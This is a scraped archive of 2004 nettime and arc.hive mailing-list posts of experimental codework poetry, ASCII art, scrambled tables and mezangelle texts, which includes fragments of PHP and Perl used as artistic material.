uncovered\nheads walked over and under the heat of the desert and\nso it came some of them met x(xpurged) and scores\ncrossed paths and in time we each spoke of x(xpurged)\nand that for which we had no want but x(xpurged) not\nfed and not quenched x(xpurged) x(xpurged) x(xpurged)\nhunger and thirst\nfor what was not x(xpurged)\nx(xpurged) greater than x(xpurged)\nand in the night the x(xpurged) and they gathered in\ncaves and it came to them x(xpurged)\n\nx(xpurged)\nx(xpurged)\n\nembraced and great x(xpurged) x(xpurged)\n\n\nterminate\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nNew and Improved Yahoo! Mail - 100MB free storage!\nhttp://promotions.yahoo.com/new_mail\n\n\n\nDate: Wed, 1 Sep 2004 12:04:41 -0700\nFrom: \"Deere Warener Nard,\" <solipsis {AT} GMAIL.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: \"now we professionals will play chiipa\"\n\n[Rasputin UChiimpaean]\n\nsneering, he said,\n\"now we professionals will play chiipa\"\n4 die all different sizes\neach has its own special namae\neach one fitting differently in the cup\nfitting differently together\n\na younger man might be the pillar of the joint\nwhile an older man might look more like stained=20\npanelling, whatever his age, the bookie needs\nan extraordinary voice, and a creative use of line\nto get the customers in\n\nstill, all of us yakuza\nbound by our tattoos\n\nnow we professionals will play chimpa\ncasting bananas down from our codework balloon-trees\neach banana a complicated crystalline storage device\nemploying rhodopsin organix imaging platelets developed\nby descendents of russian orthodox monks\nwhose voices might've been good for bookie work\nin 1920's Asakusa\n\nRasputin Samurai walking redlight district 1923\nlong beard greasy with swordfish and smelling\nof Kou-rui shochu\n\nYou're not in the gang anymore, Eiji!!\nYou're banana isn't dipped in Shoju!!\n\nQabalfantomas\nBalfanto mas epitaxialaria\nPrureen Trialphajesturensengloacalli\nNatural Language Scum!!\nLeave our track-home barber-pole!!\n\nThese Natural Language Scum\nwant in our banana-grove,\nour groveless grove, our bananaless banana..\n\nWe started a long time ago here,\nplanting bananas in the white arena\nwhere the black fire dances..\n\nThis Eijii, long faced Russian Boozer!\n\nIt's too bad about the chiipa game that day,\nlong red roses like taffy bubbles swirled\nand replicated along the seam where four\nfalsities clung like clumps of chimp-faced butter\na nice pucker, the air itself had an asshole\nand out came numbers in happy-banana-drag\nbanana shooting white laser made of ultraflat paper\nwet with shochu\n\nhappily dog-barrel of dense mud(ra) skin-adobe\nDiogenes Mexican Masked Wrestler\nIn his wrestling trunks, a rubber mask of a bearded old man\nsitting there in his bath-tub\nin the middle of the Z=F3calo.=20\nThe Plaza de la Constituci=F3n was paved in the 1520's=20\nby Hern=E1n Cort=E9s, using stones from the temples=20\nand palaces of the Aztec city of Tenochtitl=E1n he'd destroyed,=20\nand on which Mexico City was built.=20\nIts major sights fan out from here.\nAmong which is a kind of toroid of heroin and garbage\nwhich floats in the banana grove\nand in which families of black rubber dolphins\ncongregate broadcasting politicized libidos\nwhich are mutations caused by the crystalline banana pelts\nworn by\nQueen Ficus Albipila\nor as she is better known\n\"The Slippery Blue Fig\" (of Malaysia)\nseen in air as fickle as a naval excorcism\nwhite wasps congregate to the lotus=20\nof her sarpaboreal villspreech\n\n\"Plug his eye-sockets with crystalline bananas..\"\n\"Get this Eijji down and brand him with the grove\nof codework balloons..\"\n\nhttp://www.google.com/search?hl=3Den&lr=3D&ie=3DUTF-8&q=3Dcode+tablets&=\nbtnG=3DSearch\n\nEiji's face is like a blanket of Kou-rui shochu\nsettling down over a pair of giant straw sandals\nwhich is the city of Ney Work..\n\nTotal Fat 0 grams\ncontains Sodium Benzoate\n\n\"Barrel Aged!\"\n\"Bold Taste!\"\n\n\n\n\nDate:         Tue, 7 Sep 2004 14:56:12 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nSubject: txt.tures\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n _     ____  _     _      ____  ____ ___  _\n/ \\   /  _ \\/ \\ /\\/ \\  /|/  _ \\/  __\\\\  \\//\n| |   | / \\|| | ||| |\\ ||| | \\||  \\/| \\  /\n| |_/\\| |-||| \\_/|| | \\||| |_/||    / / /\n\\____/\\_/ \\|\\____/\\_/  \\|\\____/\\_/\\_\\/_/\n\n\n\n\n\n\n\ntachisme\nSYLLABICATION: tach\u02c7isme\nPRONUNCIATION: AUDIO: tshzm     KEY\nVARIANT FORMS: tach\u02c7ism\nNOUN: A French school of art originating in the 1950s and characterized by\nirregular dabs and splotches of color applied haphazardly to the canvas.\nETYMOLOGY: French tachisme, from tache, stain, from Old French teche, mark,\nof Germanic origin. See deik- in Appendix I.\nOTHER FORMS: tachiste, tachist \u0097NOUN\n        http://yahooligans.yahoo.com/reference/dictionary/entries/71/t0007100.html\n\n\n\n\n\n   / __     __  ___  __  ___     ___            //     //\n___        ___     __  ___                __        ___                  ( )\n_   __       ( )      ___           ___        ___        _   __        //\n___       //     ( )      _   __       ( )       __        ___        ___\n( )      ___         __              _   __        ___         __        ___\n/ __        ___        ___          / __     __  ___     _   __\n  //   ) )   / /      / /      //   ) )  ()    //     //    //  / /  / /\n//  / /  / /   //  / /  / /      //   ) )   ((   ) )   / /      //   / /\n//  ) )   //   ) )   //   / /   / /     // ) )  ) )   / /     //   ) )\n//   ) )   //   ) )   // ) )  ) )    //    //___) )   //     / /\n   // ) )  ) )   / /     //   ) )   //   ) )   //   ) )   / /     //   ) )\n//   ) )         // ) )  ) )   //   ) )   //   ) )   //   ) )   //   ) )\n//   ) )   ((   ) )      //   ) )   / /      // ) )  ) )\n //   / /   / /      / /      //___/ /  ()    //     //    //  / /  / /   //\n/ /  / /   //  / /  / /      //   / /     \\ \\      / /      //   / /   //\n((___/ /   //   / /   / /     // / /  / /   / /     //   / /      //\n//   / /   // / /  / /    //    //         //     / /     // / /  / /   / /\n//   / /   //   / /   //         / /     //   / /   //   / /         // / /\n/ /   //   / /   //   / /   //         //   / /   //   / /     \\ \\\n//   / /   / /      // / /  / /\n//   / /   / /      / /      //              //     //    ((__( (__/ /\n((__( (__/ /   ((__( (__/ /   () ((___( (   //   ) )   / /      ((___( (\n//             ( (   ((___( (   / /     // / /  / /   / /     ((___( (   ()\n((____     ((___/ /   // / /  / /    //    ((____     //     / /     // / /\n/ /   / /     //   / /   ((___( (   ((____     / /     ((___/ /   //   / /\n_____ // / /  / /   ((___( (   //   / /   ((____     //   / /   ((___( (\n//   ) )   () //   / /   / /      // / /  / /\n\n\n\n\n\n\n\n\n\n\n\n\n\nrepristination\n\n\\Re*pris`ti*na\"tion\\ (-t?-n?\"sh?n), n. Restoration to an original state;\nrenewal of purity. [R.] --R. Browning.\n        http://dictionary.reference.com/search?q=repristination\n\n\n\n\n\n\ns lavables Alcohol Remojar de modo previo al l       a v\nado en alcohol disuelto en agua. R. Johnson   Descolorido\n Moquetas y Alfombras Patata Para reavivar los colores de alfo\nmbras y moquetas, frotar con una esponja humedecida en agua d\ne haber cocido mondas de patatas. A. Tor\u00e1n   Escayola Suelos\nVinagre Eliminar los restos de escayola frotando con un trapo\n impregnado en vinagre. A. Tor\u00e1n    Esmalte de u\u0144as Tejidos\n Acetona Eliminar la mancha aplicando un algod\u00f3n impregnad\no en en acetona. A. Tor\u00e1n   Esmalte de u\u0144as Lana Eter E\nliminar la mancha aplicando un algod\u00f3n impregnado en\n \u00e9ter. A. Tor\u00e1n   Fruta Tejidos blancos Lej\u00eda Rem\nojar en agua con amon\u00edaco y aclarar con agua\ncon lej\u00eda. A. Tor\u00e1n   Fruta Tejidos\nde color Alcohol Impregnar         e\nn alcohol y aclarar.\nProbar antes el ef\necto sobre el c\nolor. A. Tor\u00e1n\n   Fruta Tej\nidos de col\nor Agua Oxi\ngenada Imp\nregnar en\nagua oxige\nnada con un\nas gotas de\namon\u00edaco. Proba\nr antes el efecto\nsobre el color. A. Tor\u00e1\nn   Fruta Marmol Lej\u00eda Lavar con agua jabonos\na con lej\u00eda y unas gotas de amon\u00edaco. A. Tor\u00e1n   Gras\na Ante Eter Frotar con un pa\u0144o humedecido en eter. A. Tor\n\u00e1n   Grasa Cuero Trementina Frotar con un pa\u0144o humedecido en\n esencia de trementina. A. Tor\u00e1n   Grasa Azulejo Amon\u00edaco Frot\nar con una esponja humedecida en amon\u00edaco disuelto en agua calie\nnte. A. Tor\u00e1n   Grasa Cer\u00e1mica Amon\u00edaco Eliminar la mancha con un\n algod\u00f3n impregando en amon\u00edaco. A. Tor\u00e1n   Grasa Lana Trementina\nPasar una esponja humedecida en esencia de trementina. A. Tor\u00e1n\nGrasa Algod\u00f3n Gasolina Disolver la mancha con un pa\u0144o impregando e\nn gasolina de mechero, posteriormente lavar y aclarar. A. Tor\u00e1n\nGrasa Tejidos sint\u00e9ticos Eter Disolver la mancha con \u00e9ter, poster\niormente lavar y aclarar. A. Tor\u00e1n   Grasa Marmol Gasolina Frota\nr la mancha con gasolina y aclarar. A. Tor\u00e1n   Hierba Tejidos\nVinagre En el lavado a\u0144ada una cucharada de viangre, aclare\n a\u0144adiendo tres cucharadas de agua oxigenada por litro\n de ag                        ua y vuelva\n a a clarar con agua con vina\ngr\ne.\n A.\n\n\n\n=strlen($ascii)) { $ascii = strip_tags(implode ('', file\n(\"http://$HTTP_HOST/pre.txt/ascii.php\";))); $j=0; } if ($render=='replace')\n{ if (trim($ascii{$j})) { $out .= $str{$i++}; $j++; } else { $out .=\n$ascii{$j++}; } } elseif ($render=='inverse') { if (!trim($ascii{$j})) { if\n($ascii{$j}==\"\\n\" or $ascii{$j}==\"\\r\") $out .= $ascii{$j}; else $out .=\n$str{$i++}; $j++; } else { $out .= ' '; $j++; } } elseif ($render=='fuse')\n{ if (!trim($ascii{$j})) { if ($ascii{$j}==\"\\n\" or $ascii{$j}==\"\\r\") $out .=\n$ascii{$j}; else $out .= $str{$i++}; $j++; } else { $out .=\n$ascii{$j++}; } } } ?>\n\n\n\n\n\n\n\nthanks to: http://noemata.net/pre.txt/\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: radio objects (thanks to Florian Cramer)\nDate: Sat, 28 Aug 2004 15:17:58 -0400 (EDT)\n\n\n\n\nradio objects (thanks to Florian Cramer)\n\n\nunstable.ob # list-specific \"ob .ob \" line prefixes\nunstable.ob # \"To.ob \", \"Date.ob \" and \"ob .ob \" and filter out\nunstable.ob elsif (/^ob .ob /) {\nunstable.ob s/^ob .ob [\\s]+/ob .ob  /;\nunstable.ob $ob  =~ s/^ob .ob  //;\nunstable.ob ob /radio playlist.\nunstable.ob ob /radio playlist.\nunstable.ob # non-Nettime ob  line prefixes\nunstable.ob push  {AT} ob _line, $_;\nunstable.ob # play later singer & ob  info to database\nunstable.ob $ob  = $ob _line[$#ob _line];\nunstable.ob $ob  =~ s/^ob .ob  //;\nunstable.ob $database_record = &detab($speaker).\"\\t\".\n&detab($digest_volume).\"\\t\".&detab($pogram_number).\n\"\\t\".&detab($singer).\"\\t\".&detab($address).\"\\t\".&detab($ob ).\n\"\\t\".&detab(\"$speaker_dir/$lp_record\").\"\\n\";\nunstable.ob play $ob _line[$x], \"\\n\";\nunstable.ob play 45_FILE '<li><a href=\"',$lp_records[$x],'\" name=\"',\n($x+1), '\">',&txt2entities($ob _line[$x]), \"</a><br>\\n\";\nunstable.ob $ob  =~ s/^ob .ob  //;\n\n\n__\n\n\nDate: Wed, 17 Mar 2004 22:41:54 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: ::talla::\n\nwhich diet is right for you?\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nBMI 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35\nHeight(inches) Body Weight (pounds)\n58 91 96 100 105 110 115 119 124 129 134 138 143 148 153 158 162 167\n59 94 99 104 109 114 119 124 128 133 138 143 148 153 158 163 168 173\n60 97 102 107 112 118 123 128 133 138 143 148 153 158 163 168 174 179\n61 100 106 111 116 122 127 132 137 143 148 153 158 164 169 174 180 185\n62 104 109 115 120 126 131 136 142 147 153 158 164 169 175 180 186 191\n63 107 113 118 124 130 135 141 146 152 158 163 169 175 180 186 191 197\n64 110 116 122 128 134 140 145 151 157 163 169 174 180 186 192 197 204\n65 114 120 126 132 138 144 150 156 162 168 174 180 186 192 198 204 210\n66 118 124 130 136 142 148 155 161 167 173 179 186 192 198 204 210 216\n67 121 127 134 140 146 153 159 166 172 178 185 191 198 204 211 217 223\n68 125 131 138 144 151 158 164 171 177 184 190 197 203 210 216 223 230\n69 128 135 142 149 155 162 169 176 182 189 196 203 209 216 223 230 236\n70 132 139 146 153 160 167 174 181 188 195 202 209 216 222 229 236 243\n71 136 143 150 157 165 172 179 186 193 200 208 215 222 229 236 243 250\n72 140 147 154 162 169 177 184 191 199 206 213 221 228 235 242 250 258\n73 144 151 159 166 174 182 189 197 204 212 219 227 235 242 250 257 265\n74 148 155 163 171 179 186 194 202 210 218 225 233 241 249 256 264 272\n75 152 160 168 176 184 192 200 208 216 224 232 240 248 256 264 272 279\n76 156 164 172 180 189 197 205 213 221 230 238 246 254 263 271 279 287\n\n\n\n\n\n\n\n\n\n                                                                           =\n                     B       I 36 37 38 39 40 41 42  43 44 45 46 47 48 49 5=\n0 51 52 53 54\n                                                He5 210 21                 =\n             ight\n        77 181 186 191 196 201 205 220 224 229   234 239 244 248 253 258\n59 17   8 18    3 188 193        198 20 3 208 212 21            7 222 227 2=\n3    2 237 242 247 252\n257 262 267\n60 184 189 194 1                         2                      M          =\n             58 264 270 276 282 288 294 300 306                      312 31=\n8\n324\n66 223 229 23   5 2     1 247 253 260 266                                  =\n                                                                           =\n                                   2                      M                =\n       58 264 270\n276 282 288 294 300 306                         312 2                   M  =\n                     58 264 270 276 282 288 294 300 306\n312 318 324\n66 223 229 23   5 2     1 247 253 260 266  318 324\n66 223 229 23   5 2     1 247 253 260 266                                  =\n                                                                      2    =\n                  M                       58 264 270 276 282\n288 294 300 306                         312 318 324             Petite, Sma=\nll, Medium, Large, X-Large\n66 223 229 23   5 2     1 247 253 260 266 9     9 2     04       20        =\n                     9\n2                       M                       58 264 270 276 282 288 294 =\n300 306                      312 318 324\n66 223 229 23   5 2     1 247 253 260 266                               Bod=\n                             215 220 225 230 235 240 245\n250 255 261 266 271 276\n6               1       8       0                285\n62 19                                                   6 20            2  =\n                     7 213 218 224 229 235 240       24    ( i n           =\n   Body\night ds)\n58 1    72 16 251 256 262 267 273        278 284 289    295\n                34      2               52272 278 2             84 291 297 =\n303 309 315 322 328 334\n67 2                    3               6 243 249 2M    56 262  92 2    99 =\n3            06 313 320 327 334 341 348 355 362\n369 376  240 246\n\n72 265 272 279 287 294 302 309 316 324 331       338 346 353 361 368 375 38=\n3 390\n397\n73              272 280 288 295 302 240 246  310 3      ches)   18 325 333 =\n340 348 355 363 371\n378 386 393 401 408  240 246\n74                      2       80 28           2       03      11      31 =\n      2                      M                       58 264 270 276 282 288=\n 294 3 240 246 00\n306                     312 318 324\n66 223 229 23   5 2      2                      M                       58 =\n264 270 276 282 288 294 300 306                      312 318 324\nEXTRAGRANDE\n66 223 229 23PETITE     5 2     1 247 253 260 266 1 247 253 260 266 9 32   =\n      34     0 35    8\n365 3   73 381 389 396 404 412 420               2                      M  =\n                     58 264 270 276 282 288 294 300\n306                     312 318 324\n66 223 229 23   5 2     1 PEQUE=D1A247 253 260 266  2              2       =\n               M                       58 264 270 276 282\n288 294 300 306                         312 318 324  2   240 246 GRANDE    =\n     M                       5MEDIANA8 264 270 276\n282 288 294 300 306                     312 318 324                        =\n     LARGE\n66 223 229 23   5 2     1 247 253 260 266\n66 223 229 23   5 2     1 247 253 260 266       M        240 246 S         =\n     58 264 270 276 282 288\n294 300 306                     312 318 324\n66 223 229 23   MEDIUM5 2       1 247 253 260 266\n        343             51               367 3           2                 =\n     M                       58 264 270 276 282 288 294 300  240 246 zzzz30=\n6\n312 318 240 246 P 324\n66 223 229 23   5 2     1 247 253 260 266        2                      M  =\n                     58 264 270 276 282 288 294 300\n306      240 246 aa             312 318 324\n66 223 229 23   5 2     1 247 253 260 266       75 383 391 399 407 415 423 =\n431\n         2                      M                       58 264 270 276 282 =\n288 294 300 306                      312 318 324                           =\n  XLL 240 246\n66 223 229 23   5 2     1 247 253 260 266\n\n\n\n\n\n\n\nE-P 36B\nFR  95B\nEUR 80B\nUK  36B\nUSA 36B\n\n\n\n\n\n1- La grosseur des os : petit, moyen ou gros; 2- La musculature : faible,\nmoyenne ou forte;\n3- La stature : petite, moyenne ou grande; 4- Le rapport longueur des jambe=\ns\n/ longueur du tronc : petit, moyen ou grand.\n\n\n\n\n\n\n\n\n\nKilograms [calibrate]\nOunces [calculate]\nPounds [process]\nTroy Pounds [convert]\nStones [translate]\nShort Tons [parse]\nLong Tons [measure]\n\n\n\n\n\n\n                                                                           =\n                                     906090\n\n\n\n\nyo-yo:\nn. pl. yo-=B7yos\nSlang. A stupid or objectionable person.\n\n\n\n\n\nnettime unstable digest vol 86\nWed Sep  8 13:25:18 2004\n\n\nSubject: IM txt\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: \"now we professionals will play chiipa\"\n    From: \"Deere Warener Nard,\" <solipsis {AT} GMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: txt.tures\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: radio objects (thanks to Florian Cramer)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ::talla::\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 8 Sep 2004 22:01:04 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200409082146.i88LkUP12303 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0409/msg00008.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 86"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00060",
                "content": "\n\n\n\n\nDate: Sat, 09 Oct 2004 15:51:27 +0200\nTo: arc.hive {AT} anart.no\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  the uselessness of poems \n\n\n\nAt 02:05 07/10/04 -0400, Alan Sondheim redet:\n\n\n\n>the uselessness of poems\n\n\n\nwh.r tr.t als. .ern\nsis. .rld texc pear\nueal ake. rade sed,\nurs. ntex upe/ >day\n\nsiou p-rh pesi .san\n...g y.tr -rhy .rse\nka.t .>r. .msi is.o\nyin. ak.> ...y ak..\n\nach. te.. o.ms l..>\nam.t atea ngua o.te\ntfac .typ sint maka\no.ry .wri nedw ibea\n\ns.th nsys .m.i pre.\nal.. excu /use thed\ntywe t.g/ >r.e ourt\nkaco es.. ow.t eisi\n__gu geat >p-r ymen\n\n\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\nhttp://www.furtherfield.org/displayreview.php?review_id=56\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Thu, 14 Oct 2004 18:09:33 +1000\nTo: arc.hive {AT} anart.no\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject: _n.sect.lips_\n\n\n\n\n_________________________________________________\n_n.sect.lips_    10:03am 13/10/2004\n_________________________________________________\n\n_parklife.shelving.in2.reflect.C++s\n_insectile.lip.s[ticking.thru.person.a(na)lity.fractals)vs bird.moaning\n\n\n\n\n__________________________________________\n_dis[sing.the]patch_    02:25pm 11/10/2004\n__________________________________________\n\n_g.roa[m]ning under gamer weight + ro.tund[ra]_logic_\n\n\n\n\n\n\n.\n\n--no.logo.[-D-]scenting--\n--dreaming.caramelized.txt.body.trickling.\n--spraypaint.attractors = doll.functioning\nhttp://www.hotkey.net.au/~netwurker/\n\n\n                      .\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Wed, 13 Oct 2004 21:18:32 +1000\nFrom: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\nTo: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\nSubject: blind tickling\n\n\nContent-Disposition: inline\n\nblackening air forms\ntickling blind ivenetions\ncaptured souls finding hope\nin sunlight grasping shadows \nsucked back to flourescence\n\nhttp://arcae.net/unsubscribe/blindtickling.jpg\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Thu, 14 Oct 2004 06:28:11 +1000\nTo: arc.hive {AT} anart.no\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject: Re:  bin::[hex]tickling\n\n\n\nAt 09:18 PM 13/10/2004, you wrote:\n>ack+ending air foam\n>licking bl[ack.ened]ind[ividuals] intervnetions\n>apt souls flik+[hope]flit\n>in.sunlight.we.disgrasp\n\n--no.logo.[-D-]scenting--\n--dreaming.caramelized.txt.body.trickling.\n--spraypaint.attractors = doll.functioning\nhttp://www.hotkey.net.au/~netwurker/\n\n\n                      .\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Wed, 20 Oct 2004 17:50:11 +1000\nTo: arc.hive {AT} anart.no\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject: _i[]f[]testing_\n\n\n\n\n_________________________________________________________\n#i[n.t(di)urn.al]f[luttering].t[hen.ning]esting    05:47pm 20/10/2004\n_________________________________________________________\n\n[ -furnace \"dream laterals switch in2 broken loops + slurping codebreaks\" ]\n[ -stringing \"/d.volution/close\" ]\n[ -hands \"$flutterbugging\" ]\n[ \"realigned foaming mouthpieces\" = \"hypo.critting my way to white housings\" ]\n\n\n\n/attach rhe.tor[y=no, ALP=no,democrat=no]ical.screen.mould+siiiiiiiigh\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n--no.logo.[-D-]scenting--\n--dreaming.caramelized.txt.body.trickling.\n--spraypaint.attractors = doll.functioning\nhttp://www.hotkey.net.au/~netwurker/\n\n\n                      .\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Wed, 20 Oct 2004 20:06:47 +1000\nFrom: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\nTo: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\nSubject: trained souls\n\nmetallic wail{ing} movements\nde-solving in2 flesh masks\nconveying deperation belts\nmomentary blood sy[n]phoni(es|ng)\n\nsilence\n\n[    ] flesh reflections\n[the self imposed cage]\nin_hum(id|an) standing expectation~~~O's\nsoul drippings shake\nfrom childhood umbrella frames,\nstack and heap bs's !data\n\nawaiting departure calls\nthought cycles, training thoughts\nto avoid group dis-associations\noozing beneath their souls\nthe spill seeps .... pores\nunable to respond\noverhead: distant announcements\ncrackle to life\n\n\n\n\nDate: Thu, 14 Oct 2004 18:21:22 +1000\nTo: arc.hive {AT} anart.no\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject: Re:  un[das radio]cover\n\n\n\nAt 06:12 PM 14/10/2004, you wrote:\n>disCon[k]ne[e.jerk.literature]cking\n\n\n\n>disSolve + re.wurk\n\n\n\n>ti.me[ah!RiversBlooding]\n\n\n\n--no.logo.[-D-]scenting--\n--dreaming.caramelized.txt.body.trickling.\n--spraypaint.attractors = doll.functioning\nhttp://www.hotkey.net.au/~netwurker/\n\n\n                      .\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Thu, 14 Oct 2004 18:12:57 +1000\nFrom: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\nTo: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\nSubject: undercover\n\n\nContent-Disposition: inline\n\nunconnectable, the dissipating network of associations dis-associating themselves from the brooding collaboration of time and energy seeking more than the moment provides.\nuncontactable, 404 erroneous attempts to reach across an electronic void to the anathema of comfort and wandering compassion now pre-emptively dissipated as the rooftop water world continually passing by with neural sparks of warm morning caresses wish distant comforts.\nunbelievable, sounds emanating from within hardened clay alcoves beyond season and climate reminders of inner warmth and security the all importance of being here being now with the harmonious leading me to\nundercovers\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nFrom: \"[__lo-y_]\" <loy {AT} myrealbox.com>\nTo: arc.hive {AT} anart.no\nDate: Sun, 17 Oct 2004 12:00:27 +0200 (MEST)\nSubject: un[vs left]cover + wings\n\n\n\nDis.Con.Soul(ah!)sens > wh/l (rrph/od.hed)\n\nn-0n(e)mog+ the rk\n\n> At 0612 PM 14/10/2004, you w/all (this[k].ness(i) = ribbon)--{ l.cag+ AND (NULL); }\n> At 0613 PM 14/10/2004, you w/lot+\n> At 0614 PM 14/10/2004, you(ah!)s\n\nvers: Bl/ters-hr.map/angs\nvenl s: k: ng.l[th].vd, g+ \n\nnl/m.git.c.rr: c(dd)\n\n> At 0616 PM 14/10/2004, w.dis-> rr: c(rd.Slv.s)\n\n> > obt[g]red+ b[d]on.lrv: j[k]\n\n> At 0612 PM 13/10/2004, i.m[tch-> eod: Sl.hil + rr] ck.ns\n\n> > tc.n-lo.t\n\n> At 0612 PM 14/10/2003, a/lps > inr.t\n> At 0612 PM 14/10/2002, wr.ch (t.ec.vi && nes[i=re]ckin\n\n> > di && s.moid && s[ai-pn]cg.mtc.h\n\n\n> >whil (red * shal.t.on.ste)\n> >whil (red * jl_di) && i && { n.cr[t/ch.leduct]me(NULL); }\n \n \n \n------------------------------------------------------------\n--------------lo--------------------------------------------\n                      -\n-----------------------y------------------------------------\n------------------------------------------------------------ \n-------------rnd.PTRz: \nhttp://www.furtherfield.org/displayreview.php?review_id=56\nhttp://lo-y.diaryland.com/\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------ \n------------------------------------------------------------ \n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nFrom: \"[__lo-y_]\" <loy {AT} myrealbox.com>\nTo: arc.hive {AT} anart.no\nDate: Sun, 17 Oct 2004 12:00:27 +0200 (MEST)\nSubject: un[vs left]cover + wings\n\n\n\nDis.Con.Soul(ah!)sens > wh/l (rrph/od.hed)\n\nn-0n(e)mog+ the rk\n\n> At 0612 PM 14/10/2004, you w/all (this[k].ness(i) = ribbon)--{ l.cag+ AND (NULL); }\n> At 0613 PM 14/10/2004, you w/lot+\n> At 0614 PM 14/10/2004, you(ah!)s\n\nvers: Bl/ters-hr.map/angs\nvenl s: k: ng.l[th].vd, g+ \n\nnl/m.git.c.rr: c(dd)\n\n> At 0616 PM 14/10/2004, w.dis-> rr: c(rd.Slv.s)\n\n> > obt[g]red+ b[d]on.lrv: j[k]\n\n> At 0612 PM 13/10/2004, i.m[tch-> eod: Sl.hil + rr] ck.ns\n\n> > tc.n-lo.t\n\n> At 0612 PM 14/10/2003, a/lps > inr.t\n> At 0612 PM 14/10/2002, wr.ch (t.ec.vi && nes[i=re]ckin\n\n> > di && s.moid && s[ai-pn]cg.mtc.h\n\n\n> >whil (red * shal.t.on.ste)\n> >whil (red * jl_di) && i && { n.cr[t/ch.leduct]me(NULL); }\n \n \n \n------------------------------------------------------------\n--------------lo--------------------------------------------\n                      -\n-----------------------y------------------------------------\n------------------------------------------------------------ \n-------------rnd.PTRz: \nhttp://www.furtherfield.org/displayreview.php?review_id=56\nhttp://lo-y.diaryland.com/\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------ \n------------------------------------------------------------ \n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Tue, 12 Oct 2004 13:26:46 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: arc.hive {AT} anart.no\nSubject: LAST POSER PICTURE ON COMPAQ R3000 